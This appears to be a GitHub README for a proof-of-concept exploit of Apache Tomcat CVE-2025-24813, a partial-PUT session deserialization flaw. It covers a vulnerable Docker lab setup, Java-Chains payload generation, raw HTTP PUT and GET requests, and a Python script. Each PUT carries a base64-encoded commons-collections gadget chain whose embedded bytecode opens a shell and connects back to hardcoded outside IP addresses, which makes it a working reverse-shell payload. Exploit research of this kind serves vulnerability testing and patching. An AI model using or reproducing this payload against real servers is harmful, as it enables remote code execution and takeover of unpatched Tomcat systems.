B1gN0Se / Tomcat-CVE-2025-24813

Repository from Github https://github.comB1gN0Se/Tomcat-CVE-2025-24813Repository from Github https://github.comB1gN0Se/Tomcat-CVE-2025-24813

Conditions of Use

  • DefaultServlet write function is enabled: it needs to web.xml be configured inreadonly=false
  • Partial PUT request support: Tomcat supports block upload by default
  • Enable file session persistence: need to context.xml configure PersistentManager and FileStore
  • There is a deserialization exploit chain: the class path must contain the vulnerable library

Impact

  • 9.0.0.M1 <= Apache Tomcat <= 9.0.98
  • 10.1.0-M1 <= Apache Tomcat <= 10.1.34
  • 11.0.0-M1 <= Apache Tomcat <= 11.0.2

Difficulty of exploitation

  • complex
  • harsh

Manual Configuration

  1. You need to configure the readonly of DefaultServlet to false in conf/web.xml to enable the write function.
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>
  1. You need to enable File session storage in conf/context.xml
<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>
version: '3.8'
services:
  tomcat:
    image: tomcat:9.0.8-jre8-slim
    container_name: CVE-2025-24813
    volumes:
      # web.xml
      - ./web.xml:/usr/local/tomcat/conf/web.xml
      # context.xml
      - ./context.xml:/usr/local/tomcat/conf/context.xml
      - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
    ports:
      - "8080:8080"

Start the environment

docker-compose up -d

Using Java-Chains to create serialized payload

docker run -d \
  --name java-chains \
  --restart=always \
  -p 8011:8011 \
  -p 58080:58080 \
  -p 50389:50389 \
  -p 50388:50388 \
  -p 3308:3308 \
  -p 13999:13999 \
  -p 50000:50000 \
  -p 11527:11527 \
  -e CHAINS_AUTH=true \
  -e CHAINS_PASS=test123 \
  javachains/javachains:latest

See screenshot below to create a reverse shell payload...Make sure to edit gadget 4 and set its IP/port to listen for the connection.

image

Yakit

Access the URL https://yaklang.com/ to download Yakit tool. It does not work with BurpSuite. Use Webfuzzer feature

Send the payload you created using Java-chains like this -> {{base64dec(PAYLOAD-HERE)}}

PUT /pocss/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{base64dec(rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABsHK/rq+AAAAMgB/AQBlb3JnL2FwYWNoZS9jb21tb21zL2JlYW51dGlscy9jb3lvdGUvZGVzZXJpYWxpemF0aW9uL1ZhbHVlSW5zdGFudGlhdG9yZTgzZmQ5MDY2MDU4NDZkMTllNThiNTE4MGQyYmU5ZjMHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQACaXABABJMamF2YS9sYW5nL1N0cmluZzsBAARwb3J0AQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACgwACAAJCgAEAAwBAAcvYmluL3NoCAAOAQAHb3MubmFtZQgAEAEAEGphdmEvbGFuZy9TeXN0ZW0HABIBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAAUABUKABMAFgEAEGphdmEvbGFuZy9TdHJpbmcHABgBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7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)}}

image

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.pocss

image

See that the reverse shell is working fine:

image

It is possible to perform this PoC using the Python code below.

Make sure to edit the payload (since this is hardcoded), and the Host/Port. Also, send the GET request using curl to exploit the app

import requests
import base64

# Payload encoded in base64 (extracted from java-chains)
base64_payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABsHK/rq+AAAAMgB/AQBlb3JnL2FwYWNoZS9jb2xsZWN0aW9ucy9jb3lvdGUvZGVzZXJpYWxpemF0aW9uL2ltcGwvSW5uZXJDbGFzc1Byb3BlcnR5YzMwOGI3YzRlMjQ3NDA3MmJjMzM5YjZiNWVjMmE4NDEHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQACaXABABJMamF2YS9sYW5nL1N0cmluZzsBAARwb3J0AQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACgwACAAJCgAEAAwBAAcvYmluL3NoCAAOAQAHb3MubmFtZQgAEAEAEGphdmEvbGFuZy9TeXN0ZW0HABIBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DAAUABUKABMAFgEAEGphdmEvbGFuZy9TdHJpbmcHABgBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7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"

# Decoding the base64 payload
decoded_payload = base64.b64decode(base64_payload)

# Config
url = "http://localhost:8080/pocss/session"
headers = {
    "Host": "localhost:8080",
    "Content-Length": "1000",
    "Content-Range": "bytes 0-1000/1200"
}

# PUT request
try:
    response = requests.put(url, headers=headers, data=decoded_payload)
    
    # Response
    print(f"Status Code: {response.status_code}")
    print(f"Response Headers: {response.headers}")
    print(f"Response Content: {response.content}")
    
except requests.exceptions.RequestException as e:
    print(f"Request error: {e}")

GET Request:

curl http://localhost:8080 -H "Cookie: JSESSIONID=.pocss"

About


Languages

Language:Python 100.0%